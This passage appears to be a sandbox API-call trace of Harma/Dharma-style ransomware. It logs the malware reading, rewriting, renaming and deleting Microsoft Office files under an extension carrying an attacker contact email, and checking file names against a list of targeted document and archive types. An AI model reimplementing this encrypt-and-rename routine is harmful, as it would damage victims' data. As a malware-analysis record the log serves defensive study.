Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0167.441] GetLastError () returned 0x0 [0167.441] ReadFile (in: hFile=0x330, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x786, lpOverlapped=0x0) returned 1 [0167.479] WriteFile (in: hFile=0x364, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x790, lpOverlapped=0x0) returned 1 [0167.480] ReadFile (in: hFile=0x330, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0167.480] WriteFile (in: hFile=0x364, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0167.480] SetEndOfFile (hFile=0x364) returned 1 [0167.480] CloseHandle (hObject=0x364) returned 1 [0167.480] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.480] SetEndOfFile (hFile=0x330) returned 1 [0167.482] CloseHandle (hObject=0x330) returned 1 [0167.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.501] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf")) returned 1 [0167.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0167.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0167.633] lstrlenW (lpString=".doc") returned 4 [0167.633] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0167.633] lstrlenW (lpString=".docx") returned 5 [0167.633] lstrcmpiW (lpString1=".docx", lpString2="X.ECF") returned -1 [0167.633] lstrlenW (lpString=".pdf") returned 4 [0167.633] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0167.633] lstrlenW (lpString=".xls") returned 4 [0167.633] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0167.633] lstrlenW (lpString=".xlsx") returned 5 [0167.633] lstrcmpiW (lpString1=".xlsx", lpString2="X.ECF") returned -1 [0167.633] lstrlenW (lpString=".ppt") returned 4 [0167.633] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0167.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0167.633] lstrlenW (lpString=".zip") returned 4 [0167.633] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0167.633] lstrlenW (lpString=".rar") returned 4 [0167.633] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0167.634] lstrlenW (lpString=".bz2") returned 4 [0167.634] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0167.634] lstrlenW (lpString=".7z") returned 3 [0167.634] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0167.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0167.634] lstrlenW (lpString=".dbf") returned 4 [0167.634] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0167.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0167.634] lstrlenW (lpString=".1cd") returned 4 [0167.634] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0167.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0167.634] lstrlenW (lpString=".jpg") returned 4 [0167.634] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0167.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0167.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0167.634] lstrlenW (lpString=".doc") returned 4 [0167.634] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0167.634] lstrlenW (lpString=".docx") returned 5 [0167.634] lstrcmpiW (lpString1=".docx", lpString2="X.ECF") returned -1 [0167.634] lstrlenW (lpString=".pdf") returned 4 [0167.634] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0167.634] lstrlenW (lpString=".xls") returned 4 [0167.634] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0167.634] lstrlenW (lpString=".xlsx") returned 5 [0167.634] lstrcmpiW (lpString1=".xlsx", lpString2="X.ECF") returned -1 [0167.634] lstrlenW (lpString=".ppt") returned 4 [0167.634] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0167.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0167.634] lstrlenW (lpString=".zip") returned 4 [0167.634] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0167.634] lstrlenW (lpString=".rar") returned 4 [0167.635] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0167.635] lstrlenW (lpString=".bz2") returned 4 [0167.635] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0167.635] lstrlenW (lpString=".7z") returned 3 [0167.635] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0167.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0167.635] lstrlenW (lpString=".dbf") returned 4 [0167.635] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0167.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0167.635] lstrlenW (lpString=".1cd") returned 4 [0167.635] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0167.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0167.635] lstrlenW (lpString=".jpg") returned 4 [0167.635] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0167.635] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0167.635] lstrlenW (lpString="AUDIOSEARCHLTS.DLL") returned 18 [0167.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchlts.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0167.637] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=142776) returned 1 [0167.637] CloseHandle (hObject=0x3a8) returned 1 [0167.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchlts.dll")) returned 0x20 [0167.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchlts.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchlts.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0167.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0167.643] lstrlenW (lpString=".doc") returned 4 [0167.643] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0167.643] lstrlenW (lpString=".docx") returned 5 [0167.643] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0167.643] lstrlenW (lpString=".pdf") returned 4 [0167.643] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0167.643] lstrlenW (lpString=".xls") returned 4 [0167.643] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0167.643] lstrlenW (lpString=".xlsx") returned 5 [0167.643] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0167.643] lstrlenW (lpString=".ppt") returned 4 [0167.643] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0167.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0167.643] lstrlenW (lpString=".zip") returned 4 [0167.643] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0167.643] lstrlenW (lpString=".rar") returned 4 [0167.644] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0167.644] lstrlenW (lpString=".bz2") returned 4 [0167.644] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0167.644] lstrlenW (lpString=".7z") returned 3 [0167.644] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0167.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0167.644] lstrlenW (lpString=".dbf") returned 4 [0167.644] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0167.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0167.644] lstrlenW (lpString=".1cd") returned 4 [0167.644] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0167.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0167.644] lstrlenW (lpString=".jpg") returned 4 [0167.644] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0167.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0167.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0167.644] lstrlenW (lpString=".doc") returned 4 [0167.644] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0167.644] lstrlenW (lpString=".docx") returned 5 [0167.644] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0167.644] lstrlenW (lpString=".pdf") returned 4 [0167.644] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0167.644] lstrlenW (lpString=".xls") returned 4 [0167.644] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0167.644] lstrlenW (lpString=".xlsx") returned 5 [0167.644] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0167.644] lstrlenW (lpString=".ppt") returned 4 [0167.644] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0167.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0167.644] lstrlenW (lpString=".zip") returned 4 [0167.644] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0167.644] lstrlenW (lpString=".rar") returned 4 [0167.645] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0167.645] lstrlenW (lpString=".bz2") returned 4 [0167.645] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0167.645] lstrlenW (lpString=".7z") returned 3 [0167.645] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0167.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0167.645] lstrlenW (lpString=".dbf") returned 4 [0167.645] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0167.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0167.645] lstrlenW (lpString=".1cd") returned 4 [0167.645] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0167.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0167.645] lstrlenW (lpString=".jpg") returned 4 [0167.645] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0167.645] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0167.645] lstrlenW (lpString="AUDIOSEARCHMAIN.DLL") returned 19 [0167.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0167.646] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=1667960) returned 1 [0167.646] CloseHandle (hObject=0x338) returned 1 [0167.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll")) returned 0x20 [0167.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.646] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0167.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0167.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0167.646] lstrlenW (lpString=".doc") returned 4 [0167.647] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0167.647] lstrlenW (lpString=".docx") returned 5 [0167.647] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0167.647] lstrlenW (lpString=".pdf") returned 4 [0167.647] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0167.647] lstrlenW (lpString=".xls") returned 4 [0167.647] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0167.647] lstrlenW (lpString=".xlsx") returned 5 [0167.647] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0167.647] lstrlenW (lpString=".ppt") returned 4 [0167.647] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0167.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0167.647] lstrlenW (lpString=".zip") returned 4 [0167.647] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0167.647] lstrlenW (lpString=".rar") returned 4 [0167.647] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0167.647] lstrlenW (lpString=".bz2") returned 4 [0167.648] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0167.648] lstrlenW (lpString=".7z") returned 3 [0167.648] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0167.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0167.648] lstrlenW (lpString=".dbf") returned 4 [0167.648] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0167.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0167.648] lstrlenW (lpString=".1cd") returned 4 [0167.648] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0167.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0167.648] lstrlenW (lpString=".jpg") returned 4 [0167.648] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0167.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0167.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0167.648] lstrlenW (lpString=".doc") returned 4 [0167.648] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0167.648] lstrlenW (lpString=".docx") returned 5 [0167.648] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0167.648] lstrlenW (lpString=".pdf") returned 4 [0167.648] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0167.648] lstrlenW (lpString=".xls") returned 4 [0167.648] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0167.648] lstrlenW (lpString=".xlsx") returned 5 [0167.648] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0167.648] lstrlenW (lpString=".ppt") returned 4 [0167.648] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0167.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0167.648] lstrlenW (lpString=".zip") returned 4 [0167.648] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0167.648] lstrlenW (lpString=".rar") returned 4 [0167.648] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0167.648] lstrlenW (lpString=".bz2") returned 4 [0167.649] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0167.649] lstrlenW (lpString=".7z") returned 3 [0167.649] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0167.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0167.649] lstrlenW (lpString=".dbf") returned 4 [0167.649] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0167.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0167.649] lstrlenW (lpString=".1cd") returned 4 [0167.649] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0167.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0167.649] lstrlenW (lpString=".jpg") returned 4 [0167.649] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0167.649] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0167.649] lstrlenW (lpString="AUDIOSEARCHSAPIFE.DLL") returned 21 [0167.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0167.650] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=2242968) returned 1 [0167.650] CloseHandle (hObject=0x338) returned 1 [0167.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll")) returned 0x20 [0167.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.650] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0167.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0167.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0167.650] lstrlenW (lpString=".doc") returned 4 [0167.650] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0167.650] lstrlenW (lpString=".docx") returned 5 [0167.651] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0167.651] lstrlenW (lpString=".pdf") returned 4 [0167.651] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0167.651] lstrlenW (lpString=".xls") returned 4 [0167.651] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0167.651] lstrlenW (lpString=".xlsx") returned 5 [0167.651] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0167.651] lstrlenW (lpString=".ppt") returned 4 [0167.651] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0167.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0167.651] lstrlenW (lpString=".zip") returned 4 [0167.651] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0167.651] lstrlenW (lpString=".rar") returned 4 [0167.651] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0167.651] lstrlenW (lpString=".bz2") returned 4 [0167.651] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0167.651] lstrlenW (lpString=".7z") returned 3 [0167.651] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0167.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0167.651] lstrlenW (lpString=".dbf") returned 4 [0167.651] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0167.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0167.651] lstrlenW (lpString=".1cd") returned 4 [0167.651] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0167.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0167.651] lstrlenW (lpString=".jpg") returned 4 [0167.651] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0167.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0167.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0167.652] lstrlenW (lpString=".doc") returned 4 [0167.652] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0167.652] lstrlenW (lpString=".docx") returned 5 [0167.652] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0167.652] lstrlenW (lpString=".pdf") returned 4 [0167.652] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0167.652] lstrlenW (lpString=".xls") returned 4 [0167.652] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0167.652] lstrlenW (lpString=".xlsx") returned 5 [0167.652] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0167.652] lstrlenW (lpString=".ppt") returned 4 [0167.652] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0167.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0167.652] lstrlenW (lpString=".zip") returned 4 [0167.652] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0167.652] lstrlenW (lpString=".rar") returned 4 [0167.652] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0167.652] lstrlenW (lpString=".bz2") returned 4 [0167.652] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0167.652] lstrlenW (lpString=".7z") returned 3 [0167.652] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0167.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0167.652] lstrlenW (lpString=".dbf") returned 4 [0167.652] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0167.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0167.652] lstrlenW (lpString=".1cd") returned 4 [0167.652] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0167.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0167.652] lstrlenW (lpString=".jpg") returned 4 [0167.652] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0167.653] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0167.653] lstrlenW (lpString="AUTHZAX.DLL") returned 11 [0167.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\authzax.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0167.653] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=69000) returned 1 [0167.653] CloseHandle (hObject=0x338) returned 1 [0167.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\authzax.dll")) returned 0x20 [0167.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\authzax.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\authzax.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0167.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0167.654] lstrlenW (lpString=".doc") returned 4 [0167.654] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0167.654] lstrlenW (lpString=".docx") returned 5 [0167.654] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0167.654] lstrlenW (lpString=".pdf") returned 4 [0167.654] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0167.654] lstrlenW (lpString=".xls") returned 4 [0167.654] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0167.654] lstrlenW 